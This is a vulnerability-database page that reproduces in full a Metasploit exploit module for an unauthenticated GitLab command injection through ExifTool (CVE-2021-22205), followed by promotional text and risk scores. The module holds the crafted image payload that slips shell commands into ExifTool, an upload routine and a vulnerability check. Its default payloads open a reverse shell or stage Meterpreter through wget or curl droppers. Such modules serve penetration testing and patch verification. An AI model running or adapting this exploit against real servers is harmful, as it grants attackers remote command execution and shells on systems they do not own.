Lucene search
K

GitLab Unauthenticated Remote ExifTool Command Injection

🗓️ 04 Nov 2021 17:42:14Reported by William Bowling, jbaines-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 517 Views

GitLab unauthenticated file upload and command injection vulnerabilit

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GitLab Unauthenticated Remote ExifTool Command Injection',
        'Description' => %q{
          This module exploits an unauthenticated file upload and command
          injection vulnerability in GitLab Community Edition (CE) and
          Enterprise Edition (EE). The patched versions are 13.10.3, 13.9.6,
          and 13.8.8.

          Exploitation will result in command execution as the git user.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'William Bowling',  # Vulnerability discovery and CVE-2021-22204 PoC
          'jbaines-r7'        # Metasploit module
        ],
        'References' => [
          [ 'CVE', '2021-22205' ], # GitLab
          [ 'CVE', '2021-22204' ], # ExifTool
          [ 'URL', 'https://about.gitlab.com/releases/2021/04/14/security-release-gitlab-13-10-3-released/' ],
          [ 'URL', 'https://hackerone.com/reports/1154542' ],
          [ 'URL', 'https://attackerkb.com/topics/D41jRUXCiJ/cve-2021-22205/rapid7-analysis' ],
          [ 'URL', 'https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/' ]
        ],
        'DisclosureDate' => '2021-04-14',
        'Privileged' => false,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'Payload' => {
                'Space' => 290,
                'DisableNops' => true,
                'BadChars' => '#'
              },
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_openssl'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'wget', 'lwprequest', 'curl', 'printf' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 1,
        'DefaultOptions' => {
          'MeterpreterTryToFork' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  def upload_file(file_data, timeout = 20)
    random_filename = "#{rand_text_alphanumeric(6..12)}.jpg"
    multipart_form = Rex::MIME::Message.new
    multipart_form.add_part(
      file_data,
      'image/jpeg',
      'binary',
      "form-data; name=\"file\"; filename=\"#{random_filename}\""
    )

    random_uri = normalize_uri(target_uri.path, rand_text_alphanumeric(6..12))
    print_status("Uploading #{random_filename} to #{random_uri}")
    send_request_cgi({
      'method' => 'POST',
      'uri' => random_uri,
      'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
      'data' => multipart_form.to_s
    }, timeout)
  end

  def check
    # Checks if the instance is a GitLab install by looking for the
    # 'About GitLab' footer or a password redirect. If that's successful
    # a bogus jpg image is uploaded to a bogus URI. The patched versions
    # should never send the bad image to ExifTool, resulting in a 404.
    # The unpatched versions should feed the image to the vulnerable
    # ExifTool, resulting in a 422 error message.
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/users/sign_in')
    })

    unless res
      return CheckCode::Unknown('Target did not respond to check.')
    end

    # handle two cases. First a normal install will respond with HTTP 200.
    # Second, if the root password hasn't been set yet then this will
    # redirect to the password reset page.
    unless (res.code == 200 && res.body.include?('>About GitLab<')) ||
           (res.code == 302 && res.body.include?('/users/password/edit?reset_password_token'))
      return CheckCode::Safe('Not a GitLab web interface')
    end

    res = upload_file(rand_text_alphanumeric(6..32))
    unless res
      return CheckCode::Detected('The target did not respond to the upload request.')
    end

    case res.code
    when 422
      if res.body.include?('The change you requested was rejected.')
        return CheckCode::Vulnerable('The error response indicates ExifTool was executed.')
      end
    when 404
      if res.body.include?('The page could not be found')
        return CheckCode::Safe('The error response indicates ExifTool was not run.')
      end
    end

    return CheckCode::Detected
  end

  def execute_command(cmd, _opts = {})
    # printf needs all '\' to be double escaped due to ExifTool parsing
    if cmd.start_with?('printf ')
      cmd = cmd.gsub('\\', '\\\\\\')
    end

    # header and trailer are taken from William Bowling's echo_vakzz.jpg from their original h1 disclosure.
    # The 'cmd' variable is sandwiched in a qx## function.
    payload_header = "AT&TFORM\x00\x00\x03\xAFDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00"\
      "\x00\xAC\xFF\xFF\xDE\xBF\x99 !\xC8\x91N\xEB\f\a\x1F\xD2\xDA\x88\xE8k\xE6D\x0F,q\x02\xEEI\xD3n"\
      "\x95\xBD\xA2\xC3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\b\x00\b\x18\x00d\x00\x16\x00IN"\
      "CL\x00\x00\x00\x0Fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\b\x00\b\x8A\xE6\xE1"\
      "\xB17\xD9\x7F*\x89\x00BG44\x00\x00\x00\x04\x01\x0F\xF9\x9FBG44\x00\x00\x00\x02\x02\nFORM\x00\x00"\
      "\x03\aDJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx#"
    payload_trailer = "# . \\\x0a\" b \") )" + (' ' * 421)

    res = upload_file(payload_header + cmd + payload_trailer, 5)

    # Successful exploitation can result in no response (connection being held open by a reverse shell)
    # or, if the command executes immediately, a response with a 422.
    if res && res.code != 422
      fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")
    end

    print_good('Exploit successfully executed.')
  end

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      # payload is truncated by exiftool after 290 bytes. Because we need to
      # expand the printf flavor by a potential factor of 2, halve the linemax.
      execute_cmdstager(linemax: 144)
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Apr 2026 19:01Current
8.8High risk
Vulners AI Score8.8
CVSS 27.5
CVSS 3.110
EPSS0.99981
SSVC
517